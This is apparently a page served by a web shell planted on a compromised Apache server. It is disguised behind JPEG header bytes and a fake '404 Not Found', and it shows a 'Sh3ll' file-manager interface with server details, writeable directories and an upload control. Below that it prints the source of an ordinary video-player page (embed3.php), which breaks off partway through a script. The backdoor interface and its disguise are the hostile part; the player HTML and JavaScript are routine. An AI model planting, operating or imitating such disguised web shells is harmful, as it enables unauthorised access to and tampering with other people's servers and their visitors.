ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/truyentranh/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/truyentranh/embed3.php
<!doctype html>
<html>
<head>
    <!--@formatter:off -->

    <link href="https://assets.mediadelivery.net/rubik.css" rel="stylesheet">
    <script src="https://assets.mediadelivery.net/hls/1.5.15/hls.min.js"></script>

    <script src="https://assets.mediadelivery.net/plyr/3.7.8.4-bn/plyr.polyfilled.min.js"></script>
    <script src="https://assets.mediadelivery.net/session-tracker/1.1.2/session-tracker.js"></script>
    <script src="https://assets.mediadelivery.net/jquery/jquery-3.7.1.min.js" type="text/javascript"></script>
    <script src="https://assets.mediadelivery.net/chartist.min.js" type="text/javascript"></script>
    <script src="https://assets.mediadelivery.net/plyr-vr.js" type="text/javascript"></script>
    <link href="https://assets.mediadelivery.net/plyr/3.7.8.4-bn/plyr.css" rel="stylesheet">
    <link href="https://assets.mediadelivery.net/plyr-vr.css" rel="stylesheet">
    <script src="https://assets.mediadelivery.net/pb.js?v=1"></script>
    <link href="https://assets.mediadelivery.net/pb.css?v=1" rel="stylesheet">
    <script src="https://assets.mediadelivery.net/playerjs/pjs-implementation.js" type="text/javascript"></script>
    <script src="https://assets.mediadelivery.net/playerjs/player-0.1.0.min.js" type="text/javascript"></script>

    <script src="https://iframe.mediadelivery.net/stream-bundle.js" type="text/javascript"></script>

    <link href="https://fonts.bunny.net/css?family=rubik" rel="stylesheet">

    <style>
        * {
            user-select: none; /* supported by Chrome and Opera */
            -webkit-user-select: none; /* Safari */
            -khtml-user-select: none; /* Konqueror HTML */
            -moz-user-select: none; /* Firefox */
            -ms-user-select: none; /* Internet Explorer/Edge */
            -webkit-tap-highlight-color: rgba(0, 0, 0, 0);
        }
        :root {
            --plyr-color-main: #ff7755;
            --plyr-video-background: transparent;
            --plyr-captions-background: #000;
            --plyr-captions-text-color: #fff;
            --plyr-font-weight-regular: 600;
            --plyr-font-weight-bold: 600;
            --plyr-font-family: 'rubik';
            --webkit-text-track-display: none;
            --plyr-font-size-xlarge: 30px;
        }
        html, body {
            margin: 0;
            padding: 0;
            overflow: hidden;
            width: 100%;
            height: 100%;
        }
        body {
            background-color: transparent;

            font-family: 'rubik', sans-serif;

        }

        .container {
            width: 100%;
            height: 100%;
        }

        video {
            width: 100%;
            height: 100%;
        }

        .plyr__poster {
            background-size: cover;
        }

        .plyr__control--overlaid {
            background: #ff7755;
            box-shadow: #4a4a4a20 0 0 27px;
        }

        .plyr--video {
            height: 100%;
        }

        .plyr--video .plyr__control.plyr__tab-focus,
        .plyr--video .plyr__control:hover,
        .plyr--video .plyr__control[aria-expanded=true] {
            background: #ff7755;
        }

        .plyr__control.plyr__tab-focus {
            box-shadow: 0 0 0 5px rgba(255,0,0, .5);
        }

        .plyr__menu__container .plyr__control[role=menuitemradio][aria-checked=true]::before {
            background: #ff7755;
        }

        [data-plyr="captions"].plyr__control {
            border-bottom: solid 3px transparent;
        }

        [data-plyr="captions"].plyr__control--pressed {
            border-bottom: solid 3px #ff7755;
        }

        .plyr__captions {
            font-size: 20px;
        }

        @media (max-width: 479px) {
            .plyr__captions {
                font-size: 18px;
            }
        }
        @media (min-width: 480px) {
            .plyr__captions {
                font-size: 18px;
            }
        }
        @media (min-width: 768px) {
            .plyr__captions {
                font-size: 23px;
            }
        }
        @media (min-width: 1024px) {
            .plyr__captions {
                font-size: 26px;
            }
        }

        .plyr__progress input {
            border-radius: 0px !important;
            -webkit-appearance: none;
            background: transparent;
        }
        .plyr__progress input[value]::-webkit-progress-bar {
            border-radius: 0px !important;
        }
        .plyr__progress input[value]::-webkit-progress-value {
            border-radius: 0px !important;
        }

        .plyr audio, .plyr iframe, .plyr video {
            max-height: 100vh;
        }
        .plyr__spacer {
            width: 100%;
        }
        .plyr__progress__container {
            position: absolute;
            top: 14px;
            left: 10px;
            width: calc(100% - 24px);
        }
        @media (max-width: 480px) {
            .plyr__progress__container {
                top: -5px;
            }
        }
        .wt-chart-active .ct-series-a .ct-area, .ct-series-a .ct-slice-donut-solid, .ct-series-a .ct-slice-pie {
            fill: url(#gradient-active);
        }
        .ct-series-a .ct-area, .ct-series-a .ct-slice-donut-solid, .ct-series-a .ct-slice-pie {
            fill: url(#gradient-a);
        }
        .ct-series-a .ct-bar, .ct-series-a .ct-line, .ct-series-a .ct-point, .ct-series-a .ct-slice-donut {
            stroke: #ff7755;
        }
        .plyr__pb {
            position: absolute;
            top: 0px;
            left: 0px;
            width: 100%;
            z-index: 3;
            margin-left: calc(var(--plyr-range-thumb-height, 13px)*-.5);
            margin-right: -6.5px;
            margin-right: calc(var(--plyr-range-thumb-height, 13px)*-.5);
            width: calc(100% + 13px);
            width: calc(100% + var(--plyr-range-thumb-height, 13px));
        }
        .plyr__preview-thumb {
            bottom: 22px;
            transition: bottom ease 0.1s;
        }
        .plyr__controls {
            padding-top: 70px;
        }

        .plyr--full-ui.plyr--video .plyr__progress input[type=range]::-webkit-slider-runnable-track{
            background-color: transparent !important;
        }
        .plyr--full-ui.plyr--video .plyr__progress input[type=range]::-moz-range-track{
            background-color: transparent !important;
        }
        .plyr--full-ui.plyr--video .plyr__progress input[type=range]::-ms-track{
            background-color: transparent !important;
        }

        .plyr__progress input {
            background-color: transparent !important;
            color: transparent !important;
            top: -6px !important;
            z-index: 7 !important;
            cursor: pointer;
        }

        .plyr--full-ui.plyr--video .plyr__progress input[type=range]::-webkit-slider-thumb {
            opacity: 0;
            transition: opacity ease 0.1s;
        }
        .plyr--full-ui.plyr--video .plyr__progress input[type=range]::-moz-range-thumb {
            opacity: 0;
            transition: opacity ease 0.1s;
        }
        .plyr--full-ui.plyr--video .plyr__progress input[type=range]::-ms-thumb {
            opacity: 0;
            transition: opacity ease 0.1s;
        }
        .plyr--full-ui.plyr--video .plyr__progress input[type=range]:active::-webkit-slider-thumb {
            opacity: 1;
        }
        .plyr--full-ui.plyr--video .plyr__progress input[type=range]:active::-moz-range-thumb {
            opacity: 1;
        }
        .plyr--full-ui.plyr--video .plyr__progress input[type=range]:active::-ms-thumb {
            opacity: 1;
        }
        .plyr__menu__container {
            z-index: 10;
        }
        @media (min-width: 1280px) {
            .plyr--full-ui.plyr--video .plyr__control--overlaid {
                width: 60px;
                height: 60px;
            }
            .plyr__control svg {
                height: 21px;
                width: 21px;
            }
        }
        .plyr__control--overlaid svg {
            margin-left: auto;
            margin-right: auto;
        }
        .plyr__control--logo {
            height: auto;
            max-height: 23.5px;
            position: absolute;
            left: 44%;
            top: 37px;
            margin-left: -50px;
        }
        .plyr__tooltip--drag {
            opacity: 1;
            transform: translate(-50%) scale(1);
        }

        .plyr__controls__item[data-plyr="rewind"], .plyr__controls__item[data-plyr="fast-forward"] {
            padding: 4px;
        }
        .plyr__controls__item[data-plyr="rewind"] svg, .plyr__controls__item[data-plyr="fast-forward"] svg {
            height: 24px;
            height: var(--plyr-control-icon-size,24px);
            pointer-events: none;
            width: 24px;
            width: var(--plyr-control-icon-size,24px);
        }

        .plyr--full-ui ::-webkit-media-text-track-container {
            display: var(--webkit-text-track-display);
        }

        .disable-poster-transition .plyr__poster {
            transition: none;
        }

        /*workaround to fix safari bug with not showing video thumbnail:*/
        .plyr__video-wrapper {
            z-index: 0;
        }

        /* fix for vertical subtitles scrolling */
        .plyr__menu__container > div {
            max-height: 50vh;
            overflow-y: auto;
        }

        /* Fix for controls overlapping on small devices */
        @media only screen and (max-width: 500px) {
            .hide_mobile.plyr__spacer {
                display: none
            }
        }

        .plyr--is-ios .plyr__volume {
            min-width: 32px;
        }

        /* Chromecast */
        .chromecast-connected {

            opacity: 1;
        }

        .chromecast-disconnected {
            opacity: 0.5;
        }

        .error-message {
            position: absolute;
            left: 0;
            top: 0;
            width: 100%;
            height: 100%;
            display: flex;
            justify-content: center;
            align-items: center;
            background-color: rgba(0, 0, 0, 0.5);
            text-align: center;
            color: #ccc;
            padding-top: 50px;
        }
    </style>

</head>
<body id="body">
<div hidden="" id="sprite-plyr"><!--?xml version="1.0" encoding="UTF-8"?--><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><symbol id="plyr-airplay" viewBox="0 0 18 18"><path d="M16 1H2a1 1 0 00-1 1v10a1 1 0 001 1h3v-2H3V3h12v8h-2v2h3a1 1 0 001-1V2a1 1 0 00-1-1z"></path><path d="M4 17h10l-5-6z"></path></symbol><symbol id="plyr-captions-off" viewBox="0 0 18 18"><path d="M1 1c-.6 0-1 .4-1 1v11c0 .6.4 1 1 1h4.6l2.7 2.7c.2.2.4.3.7.3.3 0 .5-.1.7-.3l2.7-2.7H17c.6 0 1-.4 1-1V2c0-.6-.4-1-1-1H1zm4.52 10.15c1.99 0 3.01-1.32 3.28-2.41l-1.29-.39c-.19.66-.78 1.45-1.99 1.45-1.14 0-2.2-.83-2.2-2.34 0-1.61 1.12-2.37 2.18-2.37 1.23 0 1.78.75 1.95 1.43l1.3-.41C8.47 4.96 7.46 3.76 5.5 3.76c-1.9 0-3.61 1.44-3.61 3.7 0 2.26 1.65 3.69 3.63 3.69zm7.57 0c1.99 0 3.01-1.32 3.28-2.41l-1.29-.39c-.19.66-.78 1.45-1.99 1.45-1.14 0-2.2-.83-2.2-2.34 0-1.61 1.12-2.37 2.18-2.37 1.23 0 1.78.75 1.95 1.43l1.3-.41c-.28-1.15-1.29-2.35-3.25-2.35-1.9 0-3.61 1.44-3.61 3.7 0 2.26 1.65 3.69 3.63 3.69z" fill-rule="evenodd" fill-opacity=".5"></path></symbol><symbol id="plyr-captions-on" viewBox="0 0 18 18"><path d="M1 1c-.6 0-1 .4-1 1v11c0 .6.4 1 1 1h4.6l2.7 2.7c.2.2.4.3.7.3.3 0 .5-.1.7-.3l2.7-2.7H17c.6 0 1-.4 1-1V2c0-.6-.4-1-1-1H1zm4.52 10.15c1.99 0 3.01-1.32 3.28-2.41l-1.29-.39c-.19.66-.78 1.45-1.99 1.45-1.14 0-2.2-.83-2.2-2.34 0-1.61 1.12-2.37 2.18-2.37 1.23 0 1.78.75 1.95 1.43l1.3-.41C8.47 4.96 7.46 3.76 5.5 3.76c-1.9 0-3.61 1.44-3.61 3.7 0 2.26 1.65 3.69 3.63 3.69zm7.57 0c1.99 0 3.01-1.32 3.28-2.41l-1.29-.39c-.19.66-.78 1.45-1.99 1.45-1.14 0-2.2-.83-2.2-2.34 0-1.61 1.12-2.37 2.18-2.37 1.23 0 1.78.75 1.95 1.43l1.3-.41c-.28-1.15-1.29-2.35-3.25-2.35-1.9 0-3.61 1.44-3.61 3.7 0 2.26 1.65 3.69 3.63 3.69z" fill-rule="evenodd"></path></symbol><symbol id="plyr-download" viewBox="0 0 18 18"><path d="M9 13c.3 0 .5-.1.7-.3L15.4 7 14 5.6l-4 4V1H8v8.6l-4-4L2.6 7l5.7 5.7c.2.2.4.3.7.3zm-7 2h14v2H2z"></path></symbol><symbol id="plyr-enter-fullscreen" viewBox="0 0 18 18"><path d="M10 3h3.6l-4 4L11 8.4l4-4V8h2V1h-7zM7 9.6l-4 4V10H1v7h7v-2H4.4l4-4z"></path></symbol><symbol id="plyr-exit-fullscreen" viewBox="0 0 18 18"><path d="M1 12h3.6l-4 4L2 17.4l4-4V17h2v-7H1zM16 .6l-4 4V1h-2v7h7V6h-3.6l4-4z"></path></symbol><symbol id="plyr-fast-forward" viewBox="0 0 28 28"><path d="M15 3C8.385 3 3 8.385 3 15s5.385 12 12 12 12-5.385 12-12a1 1 0 10-2 0c0 5.535-4.465 10-10 10S5 20.535 5 15 9.465 5 15 5c2.512 0 4.79.931 6.545 2.455L19 10h6V4l-2.04 2.04A11.955 11.955 0 0015 3zm2.688 8.35c-1.816 0-2.96 1.36-2.96 3.695 0 2.334 1.127 3.73 2.96 3.73 1.826 0 2.958-1.4 2.958-3.724 0-2.344-1.146-3.701-2.959-3.701zm-6.553.19l-1.791 1.22v1.543l1.699-1.149h.092v5.432h1.793v-7.047h-1.793zm6.553 1.187c.684 0 1.142.77 1.142 2.318 0 1.558-.458 2.353-1.142 2.353-.684 0-1.14-.795-1.14-2.353 0-1.548.456-2.318 1.14-2.318z"></path></symbol><symbol id="plyr-logo-vimeo" viewBox="0 0 18 18"><path d="M17 5.3c-.1 1.6-1.2 3.7-3.3 6.4-2.2 2.8-4 4.2-5.5 4.2-.9 0-1.7-.9-2.4-2.6C5 10.9 4.4 6 3 6c-.1 0-.5.3-1.2.8l-.8-1c.8-.7 3.5-3.4 4.7-3.5 1.2-.1 2 .7 2.3 2.5.3 2 .8 6.1 1.8 6.1.9 0 2.5-3.4 2.6-4 .1-.9-.3-1.9-2.3-1.1.8-2.6 2.3-3.8 4.5-3.8 1.7.1 2.5 1.2 2.4 3.3z"></path></symbol><symbol id="plyr-logo-youtube" viewBox="0 0 18 18"><path d="M16.8 5.8c-.2-1.3-.8-2.2-2.2-2.4C12.4 3 9 3 9 3s-3.4 0-5.6.4C2 3.6 1.3 4.5 1.2 5.8 1 7.1 1 9 1 9s0 1.9.2 3.2c.2 1.3.8 2.2 2.2 2.4C5.6 15 9 15 9 15s3.4 0 5.6-.4c1.4-.3 2-1.1 2.2-2.4.2-1.3.2-3.2.2-3.2s0-1.9-.2-3.2zM7 12V6l5 3-5 3z"></path></symbol><symbol id="plyr-muted" viewBox="0 0 18 18"><path d="M12.4 12.5l2.1-2.1 2.1 2.1 1.4-1.4L15.9 9 18 6.9l-1.4-1.4-2.1 2.1-2.1-2.1L11 6.9 13.1 9 11 11.1zM3.786 6.008H.714C.286 6.008 0 6.31 0 6.76v4.512c0 .452.286.752.714.752h3.072l4.071 3.858c.5.3 1.143 0 1.143-.602V2.752c0-.601-.643-.977-1.143-.601L3.786 6.008z"></path></symbol><symbol id="plyr-pause" viewBox="0 0 18 18"><path d="M6 1H3c-.6 0-1 .4-1 1v14c0 .6.4 1 1 1h3c.6 0 1-.4 1-1V2c0-.6-.4-1-1-1zm6 0c-.6 0-1 .4-1 1v14c0 .6.4 1 1 1h3c.6 0 1-.4 1-1V2c0-.6-.4-1-1-1h-3z"></path></symbol><symbol id="plyr-pip" viewBox="0 0 18 18"><path d="M13.293 3.293L7.022 9.564l1.414 1.414 6.271-6.271L17 7V1h-6z"></path><path d="M13 15H3V5h5V3H2a1 1 0 00-1 1v12a1 1 0 001 1h12a1 1 0 001-1v-6h-2v5z"></path></symbol><symbol id="plyr-play" viewBox="0 0 18 18"><path d="M15.562 8.1L3.87.225c-.818-.562-1.87 0-1.87.9v15.75c0 .9 1.052 1.462 1.87.9L15.563 9.9c.584-.45.584-1.35 0-1.8z"></path></symbol><symbol id="plyr-restart" viewBox="0 0 18 18"><path d="M9.7 1.2l.7 6.4 2.1-2.1c1.9 1.9 1.9 5.1 0 7-.9 1-2.2 1.5-3.5 1.5-1.3 0-2.6-.5-3.5-1.5-1.9-1.9-1.9-5.1 0-7 .6-.6 1.4-1.1 2.3-1.3l-.6-1.9C6 2.6 4.9 3.2 4 4.1 1.3 6.8 1.3 11.2 4 14c1.3 1.3 3.1 2 4.9 2 1.9 0 3.6-.7 4.9-2 2.7-2.7 2.7-7.1 0-9.9L16 1.9l-6.3-.7z"></path></symbol><symbol id="plyr-rewind" viewBox="0 0 28 28"><path d="M15 3c-3.054 0-5.84 1.155-7.96 3.04L5 4v6h6L8.455 7.455A9.935 9.935 0 0115 5c5.535 0 10 4.465 10 10s-4.465 10-10 10S5 20.535 5 15a1 1 0 10-2 0c0 6.615 5.385 12 12 12s12-5.385 12-12S21.615 3 15 3zm2.688 8.35c-1.816 0-2.96 1.36-2.96 3.695 0 2.334 1.127 3.73 2.96 3.73 1.826 0 2.958-1.4 2.958-3.724 0-2.344-1.146-3.701-2.959-3.701zm-6.553.19l-1.791 1.22v1.543l1.699-1.149h.092v5.432h1.793v-7.047h-1.793zm6.553 1.187c.684 0 1.142.77 1.142 2.318 0 1.558-.458 2.353-1.142 2.353-.684 0-1.14-.795-1.14-2.353 0-1.548.456-2.318 1.14-2.318z"></path></symbol><symbol id="plyr-settings" viewBox="0 0 18 18"><path d="M16.135 7.784a2 2 0 01-1.23-2.969c.322-.536.225-.998-.094-1.316l-.31-.31c-.318-.318-.78-.415-1.316-.094a2 2 0 01-2.969-1.23C10.065 1.258 9.669 1 9.219 1h-.438c-.45 0-.845.258-.997.865a2 2 0 01-2.969 1.23c-.536-.322-.999-.225-1.317.093l-.31.31c-.318.318-.415.781-.093 1.317a2 2 0 01-1.23 2.969C1.26 7.935 1 8.33 1 8.781v.438c0 .45.258.845.865.997a2 2 0 011.23 2.969c-.322.536-.225.998.094 1.316l.31.31c.319.319.782.415 1.316.094a2 2 0 012.969 1.23c.151.607.547.865.997.865h.438c.45 0 .845-.258.997-.865a2 2 0 012.969-1.23c.535.321.997.225 1.316-.094l.31-.31c.318-.318.415-.781.094-1.316a2 2 0 011.23-2.969c.607-.151.865-.547.865-.997v-.438c0-.451-.26-.846-.865-.997zM9 12a3 3 0 110-6 3 3 0 010 6z"></path></symbol><symbol id="plyr-volume" viewBox="0 0 18 18"><path d="M15.6 3.3c-.4-.4-1-.4-1.4 0-.4.4-.4 1 0 1.4C15.4 5.9 16 7.4 16 9c0 1.6-.6 3.1-1.8 4.3-.4.4-.4 1 0 1.4.2.2.5.3.7.3.3 0 .5-.1.7-.3C17.1 13.2 18 11.2 18 9s-.9-4.2-2.4-5.7z"></path><path d="M11.282 5.282a.909.909 0 000 1.316c.735.735.995 1.458.995 2.402 0 .936-.425 1.917-.995 2.487a.909.909 0 000 1.316c.145.145.636.262 1.018.156a.725.725 0 00.298-.156C13.773 11.733 14.13 10.16 14.13 9c0-.17-.002-.34-.011-.51-.053-.992-.319-2.005-1.522-3.208a.909.909 0 00-1.316 0zm-7.496.726H.714C.286 6.008 0 6.31 0 6.76v4.512c0 .452.286.752.714.752h3.072l4.071 3.858c.5.3 1.143 0 1.143-.602V2.752c0-.601-.643-.977-1.143-.601L3.786 6.008z"></path></symbol></svg></div>
<div class="container" id="video-container" style="margin-top: 0px;">
    <svg viewBox="0 0 0 0" style="height: 0; width: 0; display: block;">
        <defs>
            <linearGradient id="gradient-a" x2="0%" y2="100%">
                <stop offset="0%" stop-color="#abababaf"></stop>
                <stop offset="30%" stop-color="#ababab8f"></stop>
                <stop offset="70%" stop-color="#ababab5f"></stop>
                <stop offset="100%" stop-color="#ababab33"></stop>
            </linearGradient>
            <linearGradient id="gradient-active" x2="0%" y2="100%">
                <stop offset="0%" stop-color="#ff7755af"></stop>
                <stop offset="30%" stop-color="#ff77558f"></stop>
                <stop offset="70%" stop-color="#ff77553f"></stop>
                <stop offset="100%" stop-color="#ff775513"></stop>
            </linearGradient>
        </defs>
    </svg>

    <div class="plyr plyr--full-ui plyr--video plyr--html5 plyr--fullscreen-enabled plyr--paused plyr--stopped plyr__poster-enabled"><div class="plyr__controls"><button class="plyr__controls__item plyr__control" type="button" data-plyr="play" aria-pressed="false" aria-label="Play, 1.ts"><svg class="icon--pressed" aria-hidden="true" focusable="false"><use xlink:href="#plyr-pause"></use></svg><svg class="icon--not-pressed" aria-hidden="true" focusable="false"><use xlink:href="#plyr-play"></use></svg><span class="label--pressed plyr__sr-only">Pause</span><span class="label--not-pressed plyr__sr-only">Play</span></button><button class="plyr__controls__item plyr__control" type="button" data-plyr="rewind" aria-pressed="false"><svg aria-hidden="true" focusable="false"><use xlink:href="#plyr-rewind"></use></svg><span class="plyr__sr-only">Rewind 10s</span></button><button class="plyr__controls__item plyr__control" type="button" data-plyr="fast-forward" aria-pressed="false"><svg aria-hidden="true" focusable="false"><use xlink:href="#plyr-fast-forward"></use></svg><span class="plyr__sr-only">Forward 10s</span></button><div class="plyr__controls__item hide_mobile plyr__spacer"></div><div class="plyr__controls__item plyr__progress__container"><div class="plyr__progress"><div class="plyr__pb" style="pointer-events: none;"><div class="sp__base"><ul class="sp__progressbar"><li style="width: 1052.5px;"><div class="sp__container"><div class="sp__bg"></div><div class="sp__section" style="background-color: rgba(255, 255, 255, 0.533); z-index: 1; width: 0px;"></div><div class="sp__section" style="background-color: rgba(255, 255, 255, 0.314); z-index: 2; width: 0px;"></div><div class="sp__section" style="background-color: rgb(255, 119, 85); z-index: 3; width: 0px;"></div></div></li></ul><div class="sp__title animated">test</div></div></div><input data-plyr="seek" type="range" min="0" max="100" step="0.01" value="0" autocomplete="off" role="slider" aria-label="Seek" aria-valuemin="0" aria-valuemax="0" aria-valuenow="0" id="plyr-seek-4824" aria-valuetext="00:00 of 00:00" style="--value: 0%; top: -5px;" seek-value="19.84622777510812"><progress class="plyr__progress__buffer" min="0" max="100" value="0" role="progressbar" aria-hidden="true" style="top: 4px; opacity: 0.01;">% buffered</progress><span class="plyr__tooltip" hidden="">00:00</span><div class="plyr__preview-thumb"><div class="plyr__preview-thumb__image-container"></div><div class="plyr__preview-thumb__time-container"><span>00:00</span></div></div></div></div><div class="plyr__controls__item plyr__time--current plyr__time" aria-label="Current time" role="timer">00:00</div><div class="plyr__controls__item plyr__time--duration plyr__time" aria-label="Duration" role="timer">00:00</div><div class="plyr__controls__item plyr__volume"><button type="button" class="plyr__control" data-plyr="mute" aria-pressed="false"><svg class="icon--pressed" aria-hidden="true" focusable="false"><use xlink:href="#plyr-muted"></use></svg><svg class="icon--not-pressed" aria-hidden="true" focusable="false"><use xlink:href="#plyr-volume"></use></svg><span class="label--pressed plyr__sr-only">Unmute</span><span class="label--not-pressed plyr__sr-only">Mute</span></button><input data-plyr="volume" type="range" min="0" max="1" step="0.05" value="1" autocomplete="off" role="slider" aria-label="Volume" aria-valuemin="0" aria-valuemax="100" aria-valuenow="100" id="plyr-volume-4824" aria-valuetext="100.0%" style="--value: 100%;"></div><div class="plyr__controls__item plyr__menu"><button aria-haspopup="true" aria-controls="plyr-settings-4824" aria-expanded="false" type="button" class="plyr__control" data-plyr="settings" aria-pressed="false"><svg aria-hidden="true" focusable="false"><use xlink:href="#plyr-settings"></use></svg><span class="plyr__sr-only">Settings</span></button><div class="plyr__menu__container" id="plyr-settings-4824" hidden=""><div><div id="plyr-settings-4824-home"><div role="menu"><button data-plyr="settings" type="button" class="plyr__control plyr__control--forward" role="menuitem" aria-haspopup="true"><span>Quality<span class="plyr__menu__value">Auto</span></span></button><button data-plyr="settings" type="button" class="plyr__control plyr__control--forward" role="menuitem" aria-haspopup="true"><span>Speed<span class="plyr__menu__value">Normal</span></span></button><button data-plyr="settings" type="button" class="plyr__control plyr__control--forward" role="menuitem" aria-haspopup="true" hidden=""><span>Loop<span class="plyr__menu__value">undefined</span></span></button><button data-plyr="settings" type="button" class="plyr__control plyr__control--forward" role="menuitem" aria-haspopup="true" hidden=""><span>Audio Track<span class="plyr__menu__value">undefined</span></span></button></div></div><div id="plyr-settings-4824-quality" hidden=""><button type="button" class="plyr__control plyr__control--back"><span aria-hidden="true">Quality</span><span class="plyr__sr-only">Go back to previous menu</span></button><div role="menu"><button data-plyr="quality" type="button" role="menuitemradio" class="plyr__control" aria-checked="true" value="-1"><span>Auto</span></button><button data-plyr="quality" type="button" role="menuitemradio" class="plyr__control" aria-checked="false" value="360"><span>360p</span></button></div></div><div id="plyr-settings-4824-speed" hidden=""><button type="button" class="plyr__control plyr__control--back"><span aria-hidden="true">Speed</span><span class="plyr__sr-only">Go back to previous menu</span></button><div role="menu"><button data-plyr="speed" type="button" role="menuitemradio" class="plyr__control" aria-checked="false" value="0.5"><span>0.5×</span></button><button data-plyr="speed" type="button" role="menuitemradio" class="plyr__control" aria-checked="false" value="0.75"><span>0.75×</span></button><button data-plyr="speed" type="button" role="menuitemradio" class="plyr__control" aria-checked="true" value="1"><span>Normal</span></button><button data-plyr="speed" type="button" role="menuitemradio" class="plyr__control" aria-checked="false" value="1.25"><span>1.25×</span></button><button data-plyr="speed" type="button" role="menuitemradio" class="plyr__control" aria-checked="false" value="1.5"><span>1.5×</span></button><button data-plyr="speed" type="button" role="menuitemradio" class="plyr__control" aria-checked="false" value="1.75"><span>1.75×</span></button><button data-plyr="speed" type="button" role="menuitemradio" class="plyr__control" aria-checked="false" value="2"><span>2×</span></button><button data-plyr="speed" type="button" role="menuitemradio" class="plyr__control" aria-checked="false" value="4"><span>4×</span></button></div></div><div id="plyr-settings-4824-loop" hidden=""><button type="button" class="plyr__control plyr__control--back"><span aria-hidden="true">Loop</span><span class="plyr__sr-only">Go back to previous menu</span></button><div role="menu"></div></div><div id="plyr-settings-4824-audioTrack" hidden=""><button type="button" class="plyr__control plyr__control--back"><span aria-hidden="true">Audio Track</span><span class="plyr__sr-only">Go back to previous menu</span></button><div role="menu"></div></div></div></div></div><button class="plyr__controls__item plyr__control" type="button" data-plyr="fullscreen" aria-pressed="false"><svg class="icon--pressed" aria-hidden="true" focusable="false"><use xlink:href="#plyr-exit-fullscreen"></use></svg><svg class="icon--not-pressed" aria-hidden="true" focusable="false"><use xlink:href="#plyr-enter-fullscreen"></use></svg><span class="label--pressed plyr__sr-only">Exit fullscreen</span><span class="label--not-pressed plyr__sr-only">Enter fullscreen</span></button></div><div class="plyr__video-wrapper">
            <video id="main-video" preload="none" crossorigin="" none="" data-plyr-config="{ &quot;title&quot;: &quot;1.ts&quot; }" playsinline="">
                <source src="https://bitdash-a.akamaihd.net/content/sintel/hls/playlist.m3u8">
            </video>
            <div class="plyr__preview-scrubbing"></div></div><div class="plyr__captions" dir="auto"></div><button type="button" class="plyr__control plyr__control--overlaid" data-plyr="play" aria-pressed="false" aria-label="Play, 1.ts"><svg aria-hidden="true" focusable="false"><use xlink:href="#plyr-play"></use></svg><span class="plyr__sr-only">Play</span></button></div>
</div>
<script>
    var thumbnail_width = 300;
    var prevShowImage = null;
    var video_start_time = 0;
    function setPlayerStartingPosition(player) {

        if (video_start_time > 0) {
            player.on('loadeddata', function (event) {
                var instance = event.detail.plyr;
                if (video_start_time <= instance.duration) {
                    instance.off('loadeddata', event);
                    instance.currentTime = video_start_time;
                }
            });
        }
    }

    var errorEvents = {};
    function loadUrl(url, onFinished) {
        var xmlhttp = new XMLHttpRequest();
        xmlhttp.onreadystatechange = function () {
            if (xmlhttp.readyState == XMLHttpRequest.DONE) {   // XMLHttpRequest.DONE == 4
                if (xmlhttp.status == 200) {
                    onFinished(xmlhttp.responseText);
                }
            }
        };

        xmlhttp.open("GET", url, true);
        xmlhttp.send();
    }
    function IsMobile() {
        var check = false;
        (function (a) { if (/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino|android|ipad|playbook|silk/i.test(a) || /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v 